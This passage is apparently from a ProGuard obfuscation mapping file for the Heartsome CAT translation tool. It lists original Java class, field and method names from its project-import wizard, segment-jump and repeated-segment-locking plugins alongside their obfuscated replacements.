net.heartsome.cat.ts.importproject.widgiet.ResourceTree this$0 -> NT + org.eclipse.jface.viewers.CheckStateChangedEvent val$event -> NV + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard -> net.heartsome.cat.ts.importproject.wizards.a: + java.lang.String IMPORT_PROJECT_SECTION -> yR + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 mainPage -> Ps + org.eclipse.jface.viewers.IStructuredSelection currentSelection -> yT + java.lang.String initialPath -> yU + boolean canFinish -> sD + void addPages() -> addPages + void init(org.eclipse.ui.IWorkbench,org.eclipse.jface.viewers.IStructuredSelection) -> init + boolean performCancel() -> performCancel + boolean performFinish() -> performFinish + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 access$0(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard) -> a + void access$1(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard,boolean) -> a + org.slf4j.Logger access$2(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard) -> b +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard$1 -> net.heartsome.cat.ts.importproject.wizards.q: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard this$0 -> Up + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard$2 -> net.heartsome.cat.ts.importproject.wizards.ak: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard this$0 -> Up + org.eclipse.jface.operation.IRunnableWithProgress val$importProgress -> amO + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage -> net.heartsome.cat.ts.importproject.wizards.b: + java.lang.String METADATA_FOLDER -> METADATA_FOLDER + org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider structureProvider -> yV + java.lang.String STORE_COPY_PROJECT_ID -> yW + java.lang.String STORE_ARCHIVE_SELECTED -> yX + org.eclipse.jface.viewers.CheckboxTreeViewer projectsList -> yY + boolean copyFiles -> yZ + boolean lastCopyFiles -> za + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord[] selectedProjects -> zb + java.lang.String previouslyBrowsedArchive -> zc + org.eclipse.swt.widgets.Label projectFromArchiveRadio -> zd + org.eclipse.swt.widgets.Text archivePathField -> ze + org.eclipse.swt.widgets.Button browseArchivesButton -> zf + org.eclipse.core.resources.IProject[] wsProjects -> zg + java.lang.String[] FILE_IMPORT_MASK -> zh + java.lang.String initialPath -> yU + java.lang.String lastPath -> zi + long lastModified -> lastModified + org.eclipse.jface.viewers.IStructuredSelection currentSelection -> yT + java.util.List createdProjects -> zj + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createProjectsList(org.eclipse.swt.widgets.Composite) -> l + void createSelectionButtons(org.eclipse.swt.widgets.Composite) -> m + void createProjectsRoot(org.eclipse.swt.widgets.Composite) -> n + void setVisible(boolean) -> setVisible + void updateProjectsList(java.lang.String) -> updateProjectsList + java.util.zip.ZipFile getSpecifiedZipSourceFile(java.lang.String) -> cJ + org.eclipse.ui.internal.wizards.datatransfer.TarFile getSpecifiedTarSourceFile(java.lang.String) -> cK + void displayErrorDialog(java.lang.String) -> displayErrorDialog + java.lang.String getErrorDialogTitle() -> getErrorDialogTitle + boolean collectProjectFilesFromProvider(java.util.Collection,java.lang.Object,int,org.eclipse.core.runtime.IProgressMonitor) -> a + void handleLocationArchiveButtonPressed() -> handleLocationArchiveButtonPressed + boolean createProjects() -> createProjects + void performCancel() -> performCancel + boolean createExistingProject(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord,org.eclipse.core.runtime.IProgressMonitor) -> a + java.lang.String queryOverwrite(java.lang.String) -> queryOverwrite + org.eclipse.jface.viewers.CheckboxTreeViewer getProjectsList() -> getProjectsList + org.eclipse.core.resources.IProject[] getProjectsInWorkspace() -> fG + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord[] getProjectRecords() -> fH + boolean isProjectInWorkspacePath(java.lang.String) -> cL + boolean isProjectInWorkspace(java.lang.String) -> cM + void restoreWidgetValues() -> restoreWidgetValues + void saveWidgetValues() -> saveWidgetValues + org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider access$0(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage) -> a + org.eclipse.jface.viewers.CheckboxTreeViewer access$1(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage) -> b + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord[] access$2(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage) -> c + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage) -> d + void access$4(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord[]) -> a + org.eclipse.ui.internal.wizards.datatransfer.TarFile access$5(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,java.lang.String) -> a + void access$6(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider) -> a + boolean access$7(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,java.util.Collection,java.lang.Object,int,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.zip.ZipFile access$8(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,java.lang.String) -> b + boolean access$9(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage,net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord,org.eclipse.core.runtime.IProgressMonitor) -> a +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$1 -> net.heartsome.cat.ts.importproject.wizards.c: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object getParent(java.lang.Object) -> getParent + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$10 -> net.heartsome.cat.ts.importproject.wizards.d: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + java.lang.Object[] val$selected -> zl + void execute(org.eclipse.core.runtime.IProgressMonitor) -> execute +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$11 -> net.heartsome.cat.ts.importproject.wizards.e: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + int getShellStyle() -> getShellStyle +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$12 -> net.heartsome.cat.ts.importproject.wizards.f: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + org.eclipse.jface.dialogs.MessageDialog val$dialog -> zm + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$2 -> net.heartsome.cat.ts.importproject.wizards.g: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$3 -> net.heartsome.cat.ts.importproject.wizards.h: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$4 -> net.heartsome.cat.ts.importproject.wizards.i: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$5 -> net.heartsome.cat.ts.importproject.wizards.j: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$6 -> net.heartsome.cat.ts.importproject.wizards.k: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$7 -> net.heartsome.cat.ts.importproject.wizards.l: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void keyTraversed(org.eclipse.swt.events.TraverseEvent) -> keyTraversed +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$8 -> net.heartsome.cat.ts.importproject.wizards.m: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$9 -> net.heartsome.cat.ts.importproject.wizards.n: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + java.lang.String val$path -> zn + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectLabelProvider -> net.heartsome.cat.ts.importproject.wizards.o: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + java.lang.String getText(java.lang.Object) -> getText + org.eclipse.swt.graphics.Color getBackground(java.lang.Object) -> getBackground + org.eclipse.swt.graphics.Color getForeground(java.lang.Object) -> getForeground +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage$ProjectRecord -> net.heartsome.cat.ts.importproject.wizards.p: + java.io.File projectSystemFile -> zo + java.lang.Object projectArchiveFile -> zp + java.lang.String projectName -> projectName + java.lang.Object parent -> parent + int level -> level + boolean hasConflicts -> zq + org.eclipse.core.resources.IProjectDescription description -> zr + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage this$0 -> zk + void setProjectName() -> fI + boolean isDefaultLocation(org.eclipse.core.runtime.IPath) -> a + java.lang.String getProjectName() -> getProjectName + java.lang.String getProjectLabel() -> getProjectLabel + boolean hasConflicts() -> hasConflicts +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 -> net.heartsome.cat.ts.importproject.wizards.r: + java.lang.String[] FILE_IMPORT_MASK -> zh + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + java.lang.String HTML_EDITOR_ID -> UP + org.eclipse.swt.graphics.Image projectImg -> Ve + org.eclipse.swt.graphics.Image folderImg -> Vf + org.eclipse.swt.graphics.Image hsXLiffImg -> XO + org.eclipse.swt.graphics.Image htmlImg -> XR + org.eclipse.swt.graphics.Image defaultImg -> XS + java.util.Map imgMap -> aee + java.lang.String previouslyBrowsedPath -> aef + org.eclipse.swt.widgets.Text filePathTxt -> aeg + org.eclipse.swt.widgets.Button browseBtn -> aeh + net.heartsome.cat.ts.importproject.widgiet.ResourceTree selectElementTree -> ahT + net.heartsome.cat.ts.importproject.widgiet.ResourceTree repeatElementTree -> aik + org.eclipse.swt.widgets.Button leftSelectAllBtn -> ail + org.eclipse.swt.widgets.Button leftDisSelectAllBtn -> aim + org.eclipse.swt.widgets.Button leftAllExpandBtn -> ain + org.eclipse.swt.widgets.Button rightSelectAllBtn -> aiN + org.eclipse.swt.widgets.Button rightDisSelectAllBtn -> aiO + org.eclipse.swt.widgets.Button rightAllExpandBtn -> aiU + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$SelectProjectContentProvider selectContentProvider -> aiV + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$RepeatProjectContentProvider repeateContentProvider -> aiW + java.util.List defaultImportItemList -> aiX + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord[] selectedProjects -> aiY + org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider structureProvider -> yV + java.lang.String lastPath -> zi + long lastModified -> lastModified + boolean copyFiles -> yZ + boolean lastCopyFiles -> za + java.util.Map checkedRepeatElementMap -> aiZ + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.ui.IWorkbenchPage page -> aex + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] rootProjectArray -> aja + int totalWorkSum -> ajb + boolean runContinue -> ajc + java.util.Map openedIfileMap -> ajd + int INIT_TYPE -> aje + int OTHER_TYPE -> OTHER_TYPE + org.slf4j.Logger LOGGER -> LOGGER + void initData() -> z + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createBrowseBtn(org.eclipse.swt.widgets.Composite) -> K + void createResourceTree(org.eclipse.swt.widgets.Composite) -> aa + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void checkRepeatTreeBtnSelectFunction(boolean) -> M + void selectElementTreeBtnSelectFunction(boolean) -> N + void initTreeListener() -> np + void selectElementTreeCheckFunction(org.eclipse.jface.viewers.CheckStateChangedEvent) -> a + void setNotCoverForNotcheckOfSelectTree() -> nq + void checkRepeatTreeChildCover(net.heartsome.cat.ts.importproject.widgiet.ProjectResource) -> a + void handleBrowseBtnPressed() -> nr + void updateProjectsList(java.lang.String) -> updateProjectsList + void main(java.lang.String[]) -> main + org.eclipse.ui.internal.wizards.datatransfer.TarFile getSpecifiedTarSourceFile(java.lang.String) -> cK + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] getProjectResourceInput() -> ns + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] getRepeateProResourceInput() -> nt + boolean collectProjectFilesFromProvider(java.util.Collection,java.lang.Object,int,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.zip.ZipFile getSpecifiedZipSourceFile(java.lang.String) -> cJ + void displayErrorDialog(java.lang.String) -> displayErrorDialog + void performCancel() -> performCancel + boolean createProjects(org.eclipse.core.runtime.IProgressMonitor) -> u + void createConfigFile(net.heartsome.cat.ts.importproject.widgiet.ProjectResource,org.eclipse.core.resources.IProject) -> a + void resetConfigContent(org.eclipse.core.resources.IProject) -> d + void resetSqliteTMNameAndPath(org.eclipse.core.resources.IProject,net.heartsome.cat.common.bean.DatabaseModelBean,int) -> a + void resetSqliteTBNameAndPath(org.eclipse.core.resources.IProject,net.heartsome.cat.common.bean.DatabaseModelBean,int) -> b + void createRequireFolder(org.eclipse.core.resources.IProject) -> b + void createProjectImpl(net.heartsome.cat.ts.importproject.widgiet.ProjectResource,org.eclipse.core.resources.IProject) -> b + void createCurProjectResource(net.heartsome.cat.ts.importproject.widgiet.ProjectResource,org.eclipse.core.resources.IFolder) -> a + void setPageCompleteState(int) -> ad + void closeOpenedFile(org.eclipse.core.resources.IFile) -> h + java.util.Map getAllOpenedIFile() -> nu + void disposeImg() -> nv + org.eclipse.swt.graphics.Image access$0(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> b + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> c + org.eclipse.swt.graphics.Image access$3(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> d + java.util.Map access$4(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> e + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> f + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] access$6(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> g + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] access$7(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> h + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$SelectProjectContentProvider access$8(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> i + java.util.Map access$9(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> j + org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider access$10(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> k + net.heartsome.cat.ts.importproject.widgiet.ResourceTree access$11(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> l + void access$12(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,org.eclipse.jface.viewers.CheckStateChangedEvent) -> a + void access$13(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> m + void access$14(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,int) -> a + void access$15(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,net.heartsome.cat.ts.importproject.widgiet.ProjectResource) -> a + void access$16(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord[]) -> a + org.eclipse.ui.internal.wizards.datatransfer.TarFile access$17(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,java.lang.String) -> a + void access$18(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider) -> a + boolean access$19(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,java.util.Collection,java.lang.Object,int,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord[] access$20(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> n + java.util.zip.ZipFile access$21(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,java.lang.String) -> b + net.heartsome.cat.ts.importproject.widgiet.ProjectResource[] access$22(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> o + net.heartsome.cat.ts.importproject.widgiet.ResourceTree access$23(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> p + int access$24(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> q + void access$25(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,int) -> b + java.util.Map access$26(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> r + void access$27(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,java.util.Map) -> a + void access$28(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,boolean) -> a + void access$29(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2,net.heartsome.cat.ts.importproject.widgiet.ProjectResource,org.eclipse.core.resources.IProject) -> a + org.slf4j.Logger access$30(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> s + java.util.Map access$31(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> t + org.eclipse.ui.IWorkbenchPage access$32(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2) -> u +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$1 -> net.heartsome.cat.ts.importproject.wizards.s: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + boolean val$checkState -> ajh + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$10 -> net.heartsome.cat.ts.importproject.wizards.t: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + net.heartsome.cat.ts.importproject.widgiet.ProjectResource val$projRoot -> ajk + org.eclipse.core.resources.IProject val$newProject -> amP + java.lang.StringBuilder val$sb -> amQ + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$11 -> net.heartsome.cat.ts.importproject.wizards.u: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$12 -> net.heartsome.cat.ts.importproject.wizards.aj: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$13 -> net.heartsome.cat.ts.importproject.wizards.al: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + org.eclipse.core.resources.IFile val$iFile -> zW + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$2 -> net.heartsome.cat.ts.importproject.wizards.v: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 access$0(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$2) -> a +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$2$1 -> net.heartsome.cat.ts.importproject.wizards.w: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$2 this$1 -> aji + org.eclipse.jface.viewers.CheckStateChangedEvent val$event -> NV + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$3 -> net.heartsome.cat.ts.importproject.wizards.x: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 access$0(net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$3) -> a +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$3$1 -> net.heartsome.cat.ts.importproject.wizards.y: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$3 this$1 -> ajj + org.eclipse.jface.viewers.CheckStateChangedEvent val$event -> NV + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$4 -> net.heartsome.cat.ts.importproject.wizards.z: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + java.lang.String val$path -> zn + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$5 -> net.heartsome.cat.ts.importproject.wizards.aa: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + java.lang.String val$errorTip -> RU + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$6 -> net.heartsome.cat.ts.importproject.wizards.ab: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$7 -> net.heartsome.cat.ts.importproject.wizards.ac: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$8 -> net.heartsome.cat.ts.importproject.wizards.ad: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + net.heartsome.cat.ts.importproject.widgiet.ProjectResource val$projRoot -> ajk + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$9 -> net.heartsome.cat.ts.importproject.wizards.ae: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void run() -> run +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectLabelProvider -> net.heartsome.cat.ts.importproject.wizards.af: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + java.lang.String getText(java.lang.Object) -> getText + org.eclipse.swt.graphics.Color getBackground(java.lang.Object) -> getBackground + org.eclipse.swt.graphics.Color getForeground(java.lang.Object) -> getForeground + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$ProjectRecord -> net.heartsome.cat.ts.importproject.wizards.ag: + java.io.File projectSystemFile -> zo + java.lang.Object projectArchiveFile -> zp + java.lang.String projectName -> projectName + java.lang.Object parent -> parent + int level -> level + boolean hasConflicts -> zq + org.eclipse.core.resources.IProjectDescription description -> zr + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void setProjectName() -> fI + boolean isDefaultLocation(org.eclipse.core.runtime.IPath) -> a + java.lang.String getProjectName() -> getProjectName + java.lang.String getProjectLabel() -> getProjectLabel + boolean hasConflicts() -> hasConflicts + java.lang.Object getParent() -> getParent +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$RepeatProjectContentProvider -> net.heartsome.cat.ts.importproject.wizards.ah: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + java.lang.Object[] getElements(java.lang.Object) -> getElements + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren +net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2$SelectProjectContentProvider -> net.heartsome.cat.ts.importproject.wizards.ai: + net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2 this$0 -> ajg + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + java.lang.Object[] getElements(java.lang.Object) -> getElements + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren +net.heartsome.cat.ts.jumpsegment.Activator -> net.heartsome.cat.ts.jumpsegment.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.jumpsegment.Activator plugin -> zs + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.jumpsegment.Activator getDefault() -> fJ + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.jumpsegment.handler.JumpToNextHandler -> net.heartsome.cat.ts.jumpsegment.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.jumpsegment.resource.Messages -> net.heartsome.cat.ts.jumpsegment.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.lockrepeat.Activator -> net.heartsome.cat.ts.lockrepeat.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.lockrepeat.Activator plugin -> zt + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.lockrepeat.Activator getDefault() -> fK + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog -> net.heartsome.cat.ts.lockrepeat.dialog.a: + java.util.List xliffFiles -> zu + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.lang.String title -> title + org.eclipse.swt.widgets.Button btnLockInnerRepeat -> zv + org.eclipse.swt.widgets.Button btnLockTM100 -> zw + org.eclipse.swt.widgets.Button btnLockTM101 -> zx + org.eclipse.swt.graphics.Image logoImage -> zy + boolean lockInnerRepeatedSegment -> zz + boolean lockTM100Segment -> zA + boolean lockTM101Segment -> zB + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + void createFileDataGroup(org.eclipse.swt.widgets.Composite) -> p + void okPressed() -> okPressed + boolean isLockInnerRepeatedSegment() -> fL + boolean isLockTM100Segment() -> fM + boolean isLockTM101Segment() -> fN + java.lang.String[][] getTableData() -> fO + boolean close() -> close +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog$1 -> net.heartsome.cat.ts.lockrepeat.dialog.b: + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog this$0 -> zC + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog$1$1 -> net.heartsome.cat.ts.lockrepeat.dialog.c: + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog$1 this$1 -> zD + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.lockrepeat.dialog.d: + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog this$0 -> zC + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog -> net.heartsome.cat.ts.lockrepeat.dialog.e: + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List filesPath -> zE + java.util.Map lockedInnerRepeatedResault -> zF + java.util.Map lockedFullMatchResult -> zG + 